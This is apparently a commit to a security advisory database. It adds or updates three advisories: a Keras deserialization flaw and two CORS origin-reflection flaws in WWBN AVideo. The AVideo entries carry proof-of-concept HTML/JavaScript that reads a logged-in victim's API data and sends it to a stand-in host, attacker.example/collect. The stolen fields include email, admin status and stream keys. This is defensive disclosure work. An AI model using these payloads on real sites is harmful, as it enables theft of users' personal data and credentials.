Skip to content

Commit 7a1be6b

Browse files

File tree

6 files changed

+253
-47
lines changed

6 files changed

+253
-47
lines changed

advisories/unreviewed/2026/04/GHSA-4f3f-g24h-fr8m/GHSA-4f3f-g24h-fr8m.json renamed to advisories/github-reviewed/2026/04/GHSA-4f3f-g24h-fr8m/GHSA-4f3f-g24h-fr8m.json

Lines changed: 33 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,57 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-4f3f-g24h-fr8m",
4-
"modified": "2026-04-13T15:31:42Z",
4+
"modified": "2026-04-14T23:17:11Z",
55
"published": "2026-04-13T15:31:42Z",
66
"aliases": [
77
"CVE-2026-1462"
88
],
9+
"summary": "Keras has an untrusted deserialization vulnerability",
910
"details": "A vulnerability in the `TFSMLayer` class of the `keras` package, version 3.13.0, allows attacker-controlled TensorFlow SavedModels to be loaded during deserialization of `.keras` models, even when `safe_mode=True`. This bypasses the security guarantees of `safe_mode` and enables arbitrary attacker-controlled code execution during model inference under the victim's privileges. The issue arises due to the unconditional loading of external SavedModels, serialization of attacker-controlled file paths, and the lack of validation in the `from_config()` method.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "keras"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.13.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1462"
2142
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/keras-team/keras/pull/22035"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://github.com/keras-team/keras/commit/b6773d3decaef1b05d8e794458e148cb362f163f"
2550
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/keras-team/keras"
54+
},
2655
{
2756
"type": "WEB",
2857
"url": "https://huntr.com/bounties/7e78d6f1-6977-4300-b595-e81bdbda331c"
@@ -33,8 +62,8 @@
3362
"CWE-502"
3463
],
3564
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-04-14T23:17:11Z",
3867
"nvd_published_at": "2026-04-13T15:17:18Z"
3968
}
4069
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-ccq9-r5cw-5hwq",
4+
"modified": "2026-04-14T23:18:19Z",
5+
"published": "2026-04-14T23:18:19Z",
6+
"aliases": [],
7+
"summary": "WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover",
8+
"details": "## Summary\n\nThe `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.\n\n## Details\n\nThe vulnerable code path is in `objects/functions.php` lines 2773-2791:\n\n```php\n// objects/functions.php:2773\nif ($allowAll) {\n $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n if (!empty($requestOrigin)) {\n header('Access-Control-Allow-Origin: ' . $requestOrigin);\n header('Access-Control-Allow-Credentials: true');\n } else {\n header('Access-Control-Allow-Origin: *');\n }\n // ... allows all methods and headers ...\n return;\n}\n```\n\nThis is called unconditionally at the top of both API entry points:\n\n```php\n// plugin/API/get.json.php:12\nallowOrigin(true);\n\n// plugin/API/set.json.php:12\nallowOrigin(true);\n```\n\nThe comment above the code claims \"These endpoints return public ad XML and carry no session-sensitive data\" — this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.\n\nThe attack is enabled by the session cookie configuration at `objects/include_config.php:144`:\n\n```php\nini_set('session.cookie_samesite', 'None');\n```\n\nThis ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION['user']['id']` (in `User::getId()`).\n\nWhen a logged-in user's session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user's own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:\n- Email, full name, address, phone, birth date (PII)\n- Admin status and permission flags\n- Livestream server URL with embedded password (API.php:3059)\n- Encrypted stream key (API.php:3063)\n\nThe recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.\n\n## PoC\n\n**Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`):\n\n```html\n<html>\n<body>\n<h1>AVideo CORS PoC</h1>\n<script>\n// Step 1: Steal user profile data (PII, admin status, stream keys)\nfetch('https://TARGET/plugin/API/get.json.php?APIName=user', {\n credentials: 'include'\n})\n.then(r => r.json())\n.then(data => {\n document.getElementById('result').textContent = JSON.stringify(data, null, 2);\n // Exfiltrate to attacker server\n navigator.sendBeacon('https://attacker.example/collect',\n JSON.stringify({\n email: data.user?.email,\n name: data.user?.user,\n isAdmin: data.user?.isAdmin,\n streamKey: data.livestream?.key,\n streamServer: data.livestream?.server\n })\n );\n});\n</script>\n<pre id=\"result\">Loading...</pre>\n</body>\n</html>\n```\n\n**Step 2:** Victim visits the attacker page while logged into the AVideo instance.\n\n**Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with:\n```\nAccess-Control-Allow-Origin: https://attacker.example\nAccess-Control-Allow-Credentials: true\n```\n\n**Step 4:** The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.\n\n**Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.\n\n## Impact\n\n- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page\n- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking\n- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts\n- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim\n- **Mass exploitation**: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor\n\n## Recommended Fix\n\nReplace the permissive origin reflection in `allowOrigin()` with validation against the site's configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:\n\n```php\n// objects/functions.php:2773 — replace the $allowAll block with:\nif ($allowAll) {\n $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n if (!empty($requestOrigin)) {\n // Validate origin against site domain before reflecting\n $siteOrigin = '';\n if (!empty($global['webSiteRootURL'])) {\n $parsed = parse_url($global['webSiteRootURL']);\n if (!empty($parsed['scheme']) && !empty($parsed['host'])) {\n $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];\n if (!empty($parsed['port'])) {\n $siteOrigin .= ':' . $parsed['port'];\n }\n }\n }\n if ($requestOrigin === $siteOrigin) {\n header('Access-Control-Allow-Origin: ' . $requestOrigin);\n header('Access-Control-Allow-Credentials: true');\n } else {\n // For truly public resources (ad XML), allow without credentials\n header('Access-Control-Allow-Origin: ' . $requestOrigin);\n // Do NOT set Allow-Credentials for untrusted origins\n }\n } else {\n header('Access-Control-Allow-Origin: *');\n }\n // ... rest of headers ...\n}\n```\n\nAdditionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "wwbn/avideo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "29.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ccq9-r5cw-5hwq"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/WWBN/AVideo/commit/caf705f38eae0ccfac4c3af1587781355d24495e"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/WWBN/AVideo"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-942"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-14T23:18:19Z",
57+
"nvd_published_at": null
58+
}
59+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-ff5q-cc22-fgp4",
4+
"modified": "2026-04-14T23:18:28Z",
5+
"published": "2026-04-14T23:18:28Z",
6+
"aliases": [],
7+
"summary": "WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses",
8+
"details": "## Summary\n\nThe CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.\n\n## Details\n\n### Bypass Vector 1: router.php independent CORS handler\n\n`plugin/API/router.php:4-8` runs before any application code:\n\n```php\n// plugin/API/router.php lines 4-8\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nif (empty($HTTP_ORIGIN)) {\n header('Access-Control-Allow-Origin: *');\n} else {\n header(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\n}\n```\n\nThis reflects **any** `Origin` header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed `allowOrigin()` function never executes:\n\n```php\n// plugin/API/router.php lines 14-18\nif ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {\n header(\"Access-Control-Max-Age: 86400\");\n http_response_code(200);\n exit;\n}\n```\n\nAll `/api/*` requests are routed through this file via `.htaccess` rules (lines 131-132).\n\n### Bypass Vector 2: allowOrigin($allowAll=true)\n\nBoth `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12` call `allowOrigin(true)`. In `objects/functions.php:2773-2790`, the `$allowAll=true` code path reflects any origin with credentials:\n\n```php\n// objects/functions.php lines 2773-2777\nif ($allowAll) {\n $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n if (!empty($requestOrigin)) {\n header('Access-Control-Allow-Origin: ' . $requestOrigin);\n header('Access-Control-Allow-Credentials: true');\n }\n```\n\nThis code path was **untouched** by commit `986e64aad`, which only hardened the default (`$allowAll=false`) path.\n\n### Impact on data exposure\n\nBecause the victim's session cookies are sent with credentialed cross-origin requests, `User::isLogged()` returns true and `User::getId()` returns the victim's user ID. This means:\n\n- **Video listing endpoint** (`get_api_video`): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (`functions.php:1752`), so authenticated CORS requests receive the full data.\n- **User profile endpoint** (`get_api_user`): When `$isViewingOwnProfile` is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.\n\n### Additional issue: Referer header fallback\n\n`router.php` line 4 falls back to `HTTP_REFERER` when `HTTP_ORIGIN` is absent, injecting an attacker-controlled full URL (not just origin) into the `Access-Control-Allow-Origin` header. This is non-standard and could cause unexpected behavior.\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled domain:\n\n```html\n<html>\n<body>\n<h1>AVideo CORS PoC</h1>\n<script>\n// Exfiltrate victim's user profile (email, admin status, PII)\nfetch('https://target-avideo.example/api/user', {\n credentials: 'include'\n})\n.then(r => r.json())\n.then(data => {\n document.getElementById('result').textContent = JSON.stringify(data, null, 2);\n // Exfiltrate to attacker server\n navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));\n});\n</script>\n<pre id=\"result\">Loading...</pre>\n</body>\n</html>\n```\n\n**Step 2:** Victim visits attacker page while logged into AVideo.\n\n**Step 3:** The browser sends the request with victim's session cookies. `router.php` line 8 reflects the attacker's origin. `get.json.php` calls `allowOrigin(true)` which re-sets `Access-Control-Allow-Origin` to the attacker's origin with `Access-Control-Allow-Credentials: true`.\n\n**Step 4:** Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.\n\n**For set endpoints (POST with custom headers requiring preflight):**\n\n```javascript\nfetch('https://target-avideo.example/api/SomeSetEndpoint', {\n method: 'POST',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({/* parameters */})\n});\n```\n\nThe preflight OPTIONS is handled by `router.php` lines 14-18, which reflect the origin and exit — the CORS fix in `allowOrigin()` never runs.\n\n## Impact\n\n- **Data theft**: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.\n- **Account information disclosure**: The user profile endpoint returns the full user record including `recoverPass` (password recovery token), `isAdmin` status, and all PII fields when accessed as the authenticated user.\n- **Action on behalf of user**: Write endpoints (`set.json.php`) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session.\n- **Bypass of intentional fix**: This directly circumvents the CORS hardening in commit `986e64aad`.\n\n## Recommended Fix\n\n**1. Remove the independent CORS handler from `router.php`** and let `allowOrigin()` handle all CORS logic consistently:\n\n```php\n// plugin/API/router.php - REMOVE lines 4-18, replace with:\n// CORS is handled by allowOrigin() in get.json.php / set.json.php\n// For OPTIONS preflight, we still need to handle it, but through allowOrigin():\nif ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {\n require_once __DIR__.'/../../videos/configuration.php';\n allowOrigin(false); // Use the validated CORS handler\n header(\"Access-Control-Max-Age: 86400\");\n http_response_code(204);\n exit;\n}\n```\n\n**2. Fix `allowOrigin($allowAll=true)` to validate origins** — or stop using it for API endpoints:\n\n```php\n// In get.json.php and set.json.php, change:\nallowOrigin(true);\n// To:\nallowOrigin(false); // Use validated CORS for API endpoints\n```\n\nKeep `allowOrigin(true)` only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).\n\n**3. As defense-in-depth**, set `SameSite=Lax` on session cookies to prevent browsers from sending them on cross-origin requests by default.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "wwbn/avideo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "29.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/WWBN/AVideo"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-346"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-14T23:18:28Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)